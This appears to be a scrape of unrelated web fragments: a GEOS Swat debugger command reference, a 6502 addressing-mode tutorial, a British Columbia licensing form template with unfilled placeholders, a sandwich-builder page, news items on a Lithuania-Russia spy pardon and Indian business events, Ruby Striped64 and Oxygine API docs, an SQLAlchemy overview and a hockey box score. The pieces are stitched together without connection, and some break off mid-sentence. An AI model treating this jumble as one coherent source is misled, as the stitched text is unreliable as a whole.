For debugging C code, a value of 0 is more appropriate, while 1 is best for debugging assembly language.
-
The default value for this variable is 1.
See Also: intFormat,
print.
dwords
dwords [<address>] [<length>]
Examples:
-
"dwords"
- lists 4 double words at DS:SI
-
"dwords ds:di 8"
-
lists 8 double words at DS:DI
Examine memory as a dump of double words (32 bit hex numbers).
-
The <address> argument is the address to examine. If not specified, the address after the last examined memory location is used. If no address has be examined then DS:SI is used for the address.
-
The <length> argument is the number of dwords to examine. It defaults to 4.
-
Pressing <Return> after this command continues the list.
See Also: bytes,
words,
imem,
assign.
ec
ec [<args>]
Examples:
-
"ec"
- list the error checking turned on
-
"ec +vm"
- add vmem file structure checking
-
"ec all"
- turn on all error checking (slow)
-
"ec save none"
-
save the current error checking and then use none
-
"ec restore"
- use the saved error checking flags
Get or set the error checking level active in the kernel.
-
The following arguments may occur in any combination:
-
<
flag
>
- turn on <flag>
-
+<
flag
>
- turn on <flag>
-
-<
flag
>
- turn off <flag>
-
all
- turn on all error checking flags
-
ALL
- turn on all error checking flags
-
none
- turn off all error checking flags
-
sum
<
handle
>
-
turn on checksum checking for the memory block with the given handle ("ec sum bx"). The current contents of the block will be summed and that sum regenerated and checked for changes at strategic points in the system (e.g. when a call between modules occurs).
-
-
sum
- turn off checksum checking
-
save
- save the current error checking
-
restore
- restore the saved error checking flags
where <flag> may be one of the following:
-
analVM
-
perform over-aggressive checking of vmem files
-
graphics
- graphics checking
-
heapFree
-
heap free block checking
-
lmemFree
-
lmem free area checking
-
lmemInternal
-
internal lmem error checking
-
lmemObject
-
lmem object checking
-
normal
- normal error checking
-
region
- region checking segment extensive
-
segment
- adds register checking to Swat. If this flag is turned on, Swat will check whether ds and es are valid memory handle at various points in the debugging cycle by calling
ECCheckSegment()
.
-
lmemMove
- force lmem blocks to move whenever possible
-
unlockMove
-
forces unlocked blocks to move whenever possible. This ensures that your code isn't referencing into an unstable block location. I.e., a block which may move, but usually doesn't , therefore causing non-reproducible (and quite frustrating) errors.
-
vm
-
vmem file structure checking
-
vmemDiscard
-
force vmem blocks to be discarded if possible
-
If there isn't an argument, `ec' reports the current error checking flags.
-
Each time GEOS is run the ec flags are cleared. The saved flags are preserved between sessions. The ec flags may be saved and then restored after restarting GEOS so that the flag settings are not lost when restarting GEOS.
See Also: why.
echo
echo [-n] <string>+
Examples:
-
"echo -n yes?"
-
Prints "yes?" without a newline.
-
"echo hi mom"
-
Prints "hi mom" followed by a newline.
Prints its arguments, separated by spaces.
If the first argument is "-n", no newline is printed after the arguments.
See Also: flush-output.
| GEOS SDK TechDocs
|
| delassoc ...
| elist ...


The 6502 processor provides several ways in which memory locations can be addressed. Some instructions support several different modes while others may only support one. In addition the two index registers can not always be used interchangeably. This lack of orthogonality in the instruction set is one of the features that makes the 6502 trickier to program well.
For many 6502 instructions the source and destination of the information to be manipulated is implied directly by the function of the instruction itself and no further operand needs to be specified. Operations like 'Clear Carry Flag' (CLC) and 'Return from Subroutine' (RTS) are implicit.
Some instructions have an option to operate directly upon the accumulator. The programmer specifies this by using a special operand value, 'A'. For example:
LSR A ;Logical shift right one bit ROR A ;Rotate right one bit
Immediate addressing allows the programmer to directly specify an 8 bit constant within the instruction. It is indicated by a '#' symbol followed by an numeric expression. For example:
LDA #10 ;Load 10 ($0A) into the accumulator LDX #LO LABEL ;Load the LSB of a 16 bit address into X LDY #HI LABEL ;Load the MSB of a 16 bit address into Y
An instruction using zero page addressing mode has only an 8 bit address operand. This limits it to addressing only the first 256 bytes of memory (e.g. $0000 to $00FF) where the most significant byte of the address is always zero. In zero page mode only the least significant byte of the address is held in the instruction making it shorter by one byte (important for space saving) and one less memory fetch during execution (important for speed).
An assembler will automatically select zero page addressing mode if the operand evaluates to a zero page address and the instruction supports the mode (not all do).
LDA $00 ;Load accumulator from $00 ASL ANSWER ;Shift labelled location ANSWER left
The address to be accessed by an instruction using indexed zero page addressing is calculated by taking the 8 bit zero page address from the instruction and adding the current value of the X register to it. For example if the X register contains $0F and the instruction LDA $80,X is executed then the accumulator will be loaded from $008F (e.g. $80 + $0F => $8F).
NB:
The address calculation wraps around if the sum of the base address
and the register exceed $FF. If we repeat the last example but
with $FF in the X register then the accumulator will be loaded
from $007F (e.g. $80 + $FF => $7F) and not $017F.
STY $10,X ;Save the Y register at location on zero page AND TEMP,X ;Logical AND accumulator with a zero page value
The address to be accessed by an instruction using indexed zero page addressing is calculated by taking the 8 bit zero page address from the instruction and adding the current value of the Y register to it. This mode can only be used with the LDX and STX instructions.
LDX $10,Y ;Load the X register from a location on zero page STX TEMP,Y ;Store the X register in a location on zero page
Relative addressing mode is used by branch instructions (e.g. BEQ, BNE, etc.) which contain a signed 8 bit relative offset (e.g. -128 to +127) which is added to program counter if the condition is true. As the program counter itself is incremented during instruction execution by two the effective address range for the target instruction must be with -126 to +129 bytes of the branch.
BEQ LABEL ;Branch if zero flag set to LABEL BNE *+4 ;Skip over the following 2 byte instruction
Instructions using absolute addressing contain a full 16 bit address to identify the target location.
JMP $1234 ;Jump to location $1234 JSR WIBBLE ;Call subroutine WIBBLE
The address to be accessed by an instruction using X register indexed absolute addressing is computed by taking the 16 bit address from the instruction and added the contents of the X register. For example if X contains $92 then an STA $2000,X instruction will store the accumulator at $2092 (e.g. $2000 + $92).
STA $3000,X ;Store accumulator between $3000 and $30FF ROR CRC,X ;Rotate right one bit
The Y register indexed absolute addressing mode is the same as the previous mode only with the contents of the Y register added to the 16 bit address from the instruction.
AND $4000,Y ;Perform a logical AND with a byte of memory STA MEM,Y ;Store accumulator in memory
JMP is the only 6502 instruction to support indirection. The instruction contains a 16 bit address which identifies the location of the least significant byte of another 16 bit memory address which is the real target of the instruction.
For example if location $0120 contains $FC and location $0121 contains $BA then the instruction JMP ($0120) will cause the next instruction execution to occur at $BAFC (e.g. the contents of $0120 and $0121).
JMP ($FFFC) ;Force a power on reset JMP (TARGET) ;Jump via a labelled memory area
Indexed indirect addressing is normally used in conjunction with a table of address held on zero page. The address of the table is taken from the instruction and the X register added to it (with zero page wrap around) to give the location of the least significant byte of the target address.
LDA ($40,X) ;Load a byte indirectly from memory STA (MEM,X) ;Store accumulator indirectly into memory
Indirect indirect addressing is the most common indirection mode used on the 6502. In instruction contains the zero page location of the least significant byte of 16 bit address. The Y register is dynamically added to this value to generated the actual target address for operation.
LDA ($40),Y ;Load a byte indirectly from memory STA (DST),Y ;Store accumulator indirectly into memory
| << Back |
|
|
Next >> |


This is an XML namespace defined in the XML Linking Language (XLink) specification.
For more information about XML, please refer to The Extensible Markup Language (XML) 1.0 specification. For more information about XML namespaces, please refer to the Namespaces in XML specification.


Notice of Articles
Please upload the {{node?.businessNameNew}} Corporation Notice of Articles.
The following {{node?.businessNameNew}} Corporation Notice of Articles is on file:
You have recently reported changes to the legal entity structure on file with LCRB. Those changes have not yet been processed.
If you have made additional changes since they have been submitted you may report additional changes:
All licensees, authorization holder and applicants must maintain a complete and current list of leadership and businesses associated with their organization.
You are required to notify the LCRB of any changes to your legal entity structure within ten business days of the change being made. These changes include:
Please note: licence or authorization transfers to a different legal entity may be requested through the Licences dashboard.
All licensees and applicants must maintain a complete and current list of individual and businesses partners associated with their organization.
You are required to notify the LCRB of any changes to your legal entity structure within ten business days of the change being made. These changes include:
Please note: licence or authorization transfers to a different legal entity may be requested through the Licences dashboard.
Sole Proprietors must provide their leadership information and keep it up to date.
You are required to notify the LCRB of name changes within ten business days of the change being made.
Please note: licence or authorization transfers to a different legal entity may be requested through the Licences dashboard.
{{node?.businessType}} applicants and licensees must provide their leadership information and keep it up to date.
You are required to notify the LCRB of name changes within ten business days of the change being made.
Please note: licence or authorization transfers to a different legal entity may be requested through the Licences dashboard.
An applicant that is an Indigenous Nation may have associates that are required to consent to security screening and financial integrity assessments as part of the application for a non-medical cannabis retail store licence. Applicants are required to provide associates with the Parcel Identifier (PID) or proposed retail store location address.
Parcel Identifier (PID):Applicants should direct associates to the LCRB non-medical cannabis webpage to download required forms and instructions for submitting documentation.
Associates will submit documentation for security screening and financial integrity assessments directly to the LCRB. Applicants should not delay submitting a completed application form and business financial integrity form. It is the applicant's responsibility to direct all associates to the link provided .
Associates for Indigenous Nations applications include all persons who are authorized to act on behalf of the nation.
If you require more information please email<EMAIL_ADDRESS>.
Please note: While they are not normally required as part of the licence application process, the Liquor and Cannabis Regulation Branch reserves the right to ask for an Indigenous Nation’s membership lists.
Fees are calculated based on the type of change reported and the number of licences impacted. If no changes are made, or no licences are held, you will not be charged a fee for submitting this information.
Please select a shareholder Business Type above.
Please upload the {{node?.businessNameNew}} Corporation Notice of Articles.
The following {{node?.businessNameNew}} Corporation Notice of Articles is on file:
Please upload the {{node?.businessNameNew}} Central Securities Register.
The following {{node?.businessNameNew}} Central Securities Register is on file:
If the Notice of Articles does not specify the voting rights of the company’s shares, please upload the company’s Special Rights and Restrictions.
Associate forms for {{node?.businessNameNew}}.
Partnership Agreement for {{node?.businessNameNew}}:
Official operating documents for {{node?.businessNameNew}} that support your legal entity structure.
If you have a Cannabis Marketer Licence or plan to attain one, you must provide a copy of your Selling it Right Certificate to the Branch for their records. Please upload a copy in the box below.
Note: the certificate must belong to an authorized signing officer of the corporation. the person you identify as your representative. at least one partner, or the general partner. the sole proprietor.
If requested by LCRB, please upload additional supporting documents here.
Please add the complete list of directors, officers and senior managers (if applicable) for {{node?.businessNameNew}}, including their full legal name, date of birth and email address. They will be reviewed by the LCRB against your Notice of Articles. In order to complete an application for a liquor or cannabis licence, they will each be required to provide security screening related information.
Please add the complete list of directors and officers for {{node?.businessNameNew}}, including their full legal name, date of birth and email address. In order to complete an application for a liquor or cannabis licence, they will each be required to provide security screening related information.
Please add the complete list of partners for {{node?.businessNameNew}}, including their full legal name, date of birth, email address and percentage of ownership. They will be checked by LCRB against the partnership agreement provided. In order to complete an application for a liquor or cannabis licence, they will each be required to provide security screening related information.
Please list any business partners including their name, type of business, percentage of shares owned, and email address. Depending on the type of business partner, additional supporting documents will be required.
Please list any individual shareholders including their full legal name, date of birth, number of voting shares owned, and email address.
Please list any business shareholders (e.g. holding companies, trusts, etc.) including their name, type of legal entity, number of voting shares owned, and email address. Depending on the type of legal entity, additional supporting documents will be required.


Spicy's Secret Sandwich Spot
Create Your Own Sandwich
Sandwich Name:
Choose up to 3 meats:
Hamburger
Turkey
Pulled Pork
Pulled Chicken
Spicy Fried Chicken
Steak
Bison Burger
Ham
Salami
Bacon
Roast Beef
Sausage
Choose one cheese:
American Cheese
Swiss Cheese
Pepperjack Cheese
Cheddar Cheese
Brie
Munster Cheese
Cream Cheese
Blue Cheese
Choose up to 3 condiments:
Ketchup
Mustard
Mayo
Relish
Garlic Aioli
BBQ Sauce
Buffalo Sauce
Spicy Ranch
Gravy
Ranch
Choose a maximum of 10 additional toppings:
Onion
Caramelized Onion
Tomato
Lettuce
Pickles
Hot Peppers
Avocado
Spinach
Cucumber
Portabello Mushrooms
Hummus
Peanut Butter
Mashed Potatoes
Cranberry Sauce
Onion Rings
French Fries
Glazed Donut
Dandelion Greens
Sauerkraut
Chili
Pineapple
Ghost Peppers
Banana
Corn
Blackberries
Black Beans
Stack My Sandwich >
Created By:
Rate
Rate this Sandwich
×
1 (Worst)
2
3
4
5 (Best)


To find you nearby places to eat, this app needs to know your location. To continue, allow Lunch Finder to access your location.


Lithuania pardons Russians spies, may pave way for swap with Russia and Norway
VILNIUS, Nov 15 — Lithuanian President Gitanas Nauseda today pardoned two Russian citizens sentenced for spying in a move that could pave the way for a three-way spy swap between Russia, Norway and Lithuania.
Lithuanian news agency BNS reported last month that Moscow, Oslo and Vilnius were discussing exchanging two Russians jailed in Lithuania, two Lithuanians sentenced for spying in Russia, and Norwegian, Frode Berg, who has in jail in Russia for spying.
Russia also said today it would review in the near future a pardon request submitted by Berg, the RIA news agency reported. — Reuters


Top news today: PM to kick-off investor summit, Ind vs Ban 2nd T20 & more
From SBI e-auction to India vs Bangladesh second T20I, Business Standard brings you the top events of the day to keep an eye on
by BS Web TeamModi to open Himachal's first investor summit
Prime Minister Narendra Modi will inaugurate Himachal Pradesh's first global investors' summit that will see participating of Union ministers Amit Shah, Nitin Gadkari, Piyush Goyal, Prahlad Patel and Anurag Thakur along with who's who from the industry and foreign investors.
FM to take stock of the economy
Finance Minister Nirmala Sitharaman will review the state of economy at a meeting of the Financial Stability and Development Council (FSDC) attended by sectoral regulators, including RBI Governor Shaktikanta Das. According to sources, the meeting will take stock of various measures taken by the government to boost the sagging growth which hit a six-year low of 5 per cent in the first quarter of the current financial year. Read here
Interview for RBI deputy governor post
A search panel headed by Cabinet Secretary is scheduled to interview seven shortlisted candidates for the post of RBI deputy governor. The post had fallen vacant after Viral Acharya resigned in July -- six months before the end of his term. The Reserve Bank has four deputy governors. Read here
September quarter results
Aditya Birla Capital, Adani Transmission, Andhra Bank, Basf India, Bharat Petroleum Corporation Ltd, City Union Bank, DLF, Emami Paper Mills, Gammon India, and others are scheduled to declare their financial results for the September quarter
India vs Bangladesh 2nd T20
After losing the first T20 in Delhi by seven wickets on Sunday, India will be looking to bounce back in the 2nd T20 match and level the series. As India looks to zero in on a settled squad for next year’s T20 World Cup in Australia, a series loss to Bangladesh will put the team in a state of uncertanity.
SBI to conduct e-auction of 11 bad accounts
The State Bank of India (SBI) will conduct an e-auction of 11 bad loan accounts to recover dues of Rs 466.49 crore. In terms of the bank's revised policy on sale of financial assets, in line with the regulatory guidelines, the bank will place 11 accounts for sale to ARCs/banks/NBFCs and FIs, SBI said in an auction notice. Read here


class Concurrent::ThreadSafe::Util::Striped64
A Ruby port of the Doug Lea's jsr166e.Striped64 class version 1.6 available in public domain.
Original source code available here: gee.cs.oswego.edu/cgi-bin/viewcvs.cgi/jsr166/src/jsr166e/Striped64.java?revision=1.6
Class holding common representation and mechanics for classes supporting dynamic striping on 64bit values.
This class maintains a lazily-initialized table of atomically updated variables, plus an extra base
field. The table size is a power of two. Indexing uses masked per-thread hash codes. Nearly all methods on this class are private, accessed directly by subclasses.
Table entries are of class Cell
; a variant of AtomicLong padded to reduce cache contention on most processors. Padding is overkill for most Atomics because they are usually irregularly scattered in memory and thus don't interfere much with each other. But Atomic objects residing in arrays will tend to be placed adjacent to each other, and so will most often share cache lines (with a huge negative performance impact) without this precaution.
In part because +Cell+s are relatively large, we avoid creating them until they are needed. When there is no contention, all updates are made to the base
field. Upon first contention (a failed CAS on base
update), the table is initialized to size 2. The table size is doubled upon further contention until reaching the nearest power of two greater than or equal to the number of CPUS. Table slots remain empty (nil
) until they are needed.
A single spinlock (busy
) is used for initializing and resizing the table, as well as populating slots with new +Cell+s. There is no need for a blocking lock: When the lock is not available, threads try other slots (or the base). During these retries, there is increased contention and reduced locality, which is still better than alternatives.
Per-thread hash codes are initialized to random values. Contention and/or table collisions are indicated by failed CASes when performing an update operation (see method retry_update
). Upon a collision, if the table size is less than the capacity, it is doubled in size unless some other thread holds the lock. If a hashed slot is empty, and lock is available, a new Cell
is created. Otherwise, if the slot exists, a CAS is tried. Retries proceed by “double hashing”, using a secondary hash (XorShift) to try to find a free slot.
The table size is capped because, when there are more threads than CPUs, supposing that each thread were bound to a CPU, there would exist a perfect hash function mapping threads to slots that eliminates collisions. When we reach capacity, we search for this mapping by randomly varying the hash codes of colliding threads. Because search is random, and collisions only become known via CAS failures, convergence can be slow, and because threads are typically not bound to CPUS forever, may not occur at all. However, despite these limitations, observed contention rates are typically low in these cases.
It is possible for a Cell
to become unused when threads that once hashed to it terminate, as well as in the case where doubling the table causes no thread to hash to it under expanded mask. We do not try to detect or remove such cells, under the assumption that for long-running instances, observed contention levels will recur, so the cells will eventually be needed again; and for short-lived ones, it does not matter.
@!visibility private
Constants
- THREAD_LOCAL_KEY
Static per-thread hash code key. Shared across all instances to reduce Thread locals pollution and because adjustments due to collisions in one table are likely to be appropriate for others.
Public Class Methods
# File lib/concurrent/thread_safe/util/striped64.rb, line 112 def initialize super() self.busy = false self.base = 0 end
Public Instance Methods
Handles cases of updates involving initialization, resizing, creating new Cells, and/or contention. See above for explanation. This method suffers the usual non-modularity problems of optimistic retry code, relying on rechecked sets of reads.
Arguments:
x
-
the value
hash_code
-
hash code used
x
-
false if CAS failed before call
# File lib/concurrent/thread_safe/util/striped64.rb, line 131 def retry_update(x, hash_code, was_uncontended) # :yields: current_value hash = hash_code collided = false # True if last slot nonempty while true if current_cells = cells if !(cell = current_cells.volatile_get_by_hash(hash)) if busy? collided = false else # Try to attach new Cell if try_to_install_new_cell(Cell.new(x), hash) # Optimistically create and try to insert new cell break else redo # Slot is now non-empty end end elsif !was_uncontended # CAS already known to fail was_uncontended = true # Continue after rehash elsif cell.cas_computed {|current_value| yield current_value} break elsif current_cells.size >= CPU_COUNT || cells != current_cells # At max size or stale collided = false elsif collided && expand_table_unless_stale(current_cells) collided = false redo # Retry with expanded table else collided = true end hash = XorShiftRandom.xorshift(hash) elsif try_initialize_cells(x, hash) || cas_base_computed {|current_base| yield current_base} break end end self.hash_code = hash end
Private Instance Methods
# File lib/concurrent/thread_safe/util/striped64.rb, line 195 def cas_base_computed cas_base(current_base = base, yield(current_base)) end
# File lib/concurrent/thread_safe/util/striped64.rb, line 215 def expand_table_unless_stale(current_cells) try_in_busy do if current_cells == cells # Recheck under lock new_cells = current_cells.next_in_size_table current_cells.each_with_index {|x, i| new_cells.volatile_set(i, x)} self.cells = new_cells end end end
# File lib/concurrent/thread_safe/util/striped64.rb, line 199 def free? !busy? end
A thread-local hash code accessor. The code is initially random, but may be set to a different value upon collisions.
# File lib/concurrent/thread_safe/util/striped64.rb, line 176 def hash_code Thread.current[THREAD_LOCAL_KEY] ||= XorShiftRandom.get end
# File lib/concurrent/thread_safe/util/striped64.rb, line 180 def hash_code=(hash) Thread.current[THREAD_LOCAL_KEY] = hash end
Sets base and all cells
to the given value.
# File lib/concurrent/thread_safe/util/striped64.rb, line 185 def internal_reset(initial_value) current_cells = cells self.base = initial_value if current_cells current_cells.each do |cell| cell.value = initial_value if cell end end end
# File lib/concurrent/thread_safe/util/striped64.rb, line 234 def try_in_busy if cas_busy(false, true) begin yield ensure self.busy = false end end end
# File lib/concurrent/thread_safe/util/striped64.rb, line 203 def try_initialize_cells(x, hash) if free? && !cells try_in_busy do unless cells # Recheck under lock new_cells = PowerOfTwoTuple.new(2) new_cells.volatile_set_by_hash(hash, Cell.new(x)) self.cells = new_cells end end end end
# File lib/concurrent/thread_safe/util/striped64.rb, line 225 def try_to_install_new_cell(new_cell, hash) try_in_busy do # Recheck under lock if (current_cells = cells) && !current_cells.volatile_get(i = current_cells.hash_to_index(hash)) current_cells.volatile_set(i, new_cell) end end end


Hey, I'm a recent graduate from Rowan University with a dual degree in Finance and Journalism. I live in PA, but I'm originally Canadian. I love the world of finance and would like to work in that field. Besides


Streamed version
Your browser does not support HTML5 video.
Unstreamed version
Your browser does not support HTML5 video.


Reminder: This page just checks what ranks a character is qualified for with their current certifications and equipment. To get promoted to a new rank the player must still complete any required applications and training.


The Python SQL Toolkit and Object Relational Mapper
SQLAlchemy is the Python SQL toolkit and Object Relational Mapper that gives application developers the full power and flexibility of SQL.
It provides a full suite of well known enterprise-level persistence patterns, designed for efficient and high-performing database access, adapted into a simple and Pythonic domain language.
SQLALCHEMY'S PHILOSOPHY
SQL databases behave less like object collections the more size and performance start to matter; object collections behave less like tables and rows the more abstraction starts to matter. SQLAlchemy aims to accommodate both of these principles.
SQLAlchemy doesn't view databases as just collections of tables; it sees them as relational algebra engines. Its object relational mapper enables classes to be mapped against the database in more than one way. SQL constructs don't just select from just tables—you can also select from joins, subqueries, and unions. Thus database relationships and domain object models can be cleanly decoupled from the beginning, allowing both sides to develop to their full potential.
The main goal of SQLAlchemy is to change the way you think about databases and SQL!
Most importantly, SQLAlchemy is not just an ORM. Its data
abstraction layer allows construction and manipulation of SQL expressions in a
platform agnostic way, and offers easy to use and superfast result objects, as
well as table creation and schema reflection utilities. No object relational
mapping whatsoever is involved until you import the orm
package.
Or use SQLAlchemy to write your own !
Read what people are saying about SQLAlchemy.
- Scales Up
-
Powerful enough for complicated tasks, such as:
- Load whole graphs of objects and their dependent objects in one step, with fine grained control over how many SELECT statements to emit
- Map recursive adjacency structures automatically
- Map objects to not just tables but to any arbitrary join or select statement
- Persist and modify structures of any complexity in one step
- Map class inheritance hierarchies to tables in a variety of ways
- Handle composite keys, natural primary keys and ON UPDATE CASCADE with ease
- Interface with multiple databases simultaneously
- Make use of the target database's specific syntaxes and features when desired
- Work with transactionalized behavior from the ground up, including SAVEPOINT and two-phase transactions, in a high-level and database-agnostic manner
- Scales Down
-
Extremely easy to use for all the basic tasks, such as:
- Constructing SQL from Python expressions
- Loading a pre-existing schema into expression constructs and ORM mappings
- Pooling database connections
- Issuing DDL (i.e. CREATE / DROP statements)
- Loading objects from the database and saving changes back
- DBA Approved
-
Built to conform to what DBAs demand, including the ability to swap out generated SQL with hand-optimized statements, full usage of bind parameters for all literal values, fully transactionalized and batched database writes using the Unit of Work pattern. All object-relational patterns are designed around the usage of proper referential integrity, and foreign keys are an integral part of its usage.
- Non-Opinionated
-
SQLAlchemy places the highest value on not getting in the way of database and application architecture. Unlike many tools, it never "generates" schemas (not to be confused with issuing user-defined DDL, in which it excels) or relies on naming conventions of any kind. SQLAlchemy supports the widest variety of database and architectural designs as is reasonably possible.
- Modular and Extensible
-
Different parts of SQLAlchemy can be used independently of the rest. Elements like connection pooling, SQL statement compilation and transactional services can be used independently of each other, and can also be extended through various plugin points. The Object Relational Mapper (ORM) is a separate package which builds on top of these, and itself has several extension systems for modifying behavior at various levels.
SQLAlchemy's extensible nature has spawned a whole community of plugins and third party extensions, including:
- Community Supported
-
SQLAlchemy has a substantially sized community, with over 2200 mailing list users and well over 10000 downloads a month. It is the default ORM for most of the popular web frameworks, including Pylons, Flask and Grok. It's used in a growing number of applications and third party add ons (many are listed on the wiki).
Development is similarly active, with an active developer count hovering around ten, between 150-500 commits per month and a typical release pace of one point release per month, one major version release every six months (see SQLAlchemy Trac for development timeline and project information).
Check out some of the key features or dive straight into the tutorial — then download!


Maple Leafs-Penguins Sums
by EndPlayFirst Period_1, Pittsburgh, Guentzel 9 (Malkin, Galchenyuk), 6:38 (pp). 2, Pittsburgh, Malkin 3 (Rust, Guentzel), 8:44. Penalties_Gauthier, TOR, (tripping), 4:46.
Second Period_3, Pittsburgh, Kahun 4 (Rust, Marino), 0:52. 4, Pittsburgh, Kahun 5 (Johnson, Tanev), 4:32. 5, Pittsburgh, McCann 7 (Kahun, Tanev), 7:28. 6, Toronto, Spezza 2 (Barrie, Petan), 14:49. Penalties_None.
Third Period_7, Pittsburgh, Rust 6 (Blueger), 3:54 (sh). Penalties_Simon, PIT, (hooking), 2:09; Malkin, PIT, (tripping), 5:13.
Shots on Goal_Toronto 16-6-11_33. Pittsburgh 19-13-6_38.
Power-play opportunities_Toronto 0 of 2; Pittsburgh 1 of 1.
Goalies_Toronto, Kaskisuo 0-1-0 (38 shots-32 saves). Pittsburgh, Jarry 2-3-0 (33-32).
A_18,587 (18,387). T_2:26.
Referees_Dean Morton, Kyle Rehman. Linesmen_Matt MacPherson, Brian Mach.


|
Oxygine
1
2g game engine
|
Public Member Functions | |
| virtual void | serialize (serializedata *) |
| virtual void | deserialize (const deserializedata *) |
| virtual void | deserializeLink (const deserializeLinkData *) |
|
inlinevirtual |
link phase, called when all actors already created
Reimplemented in oxygine::MaskedSprite.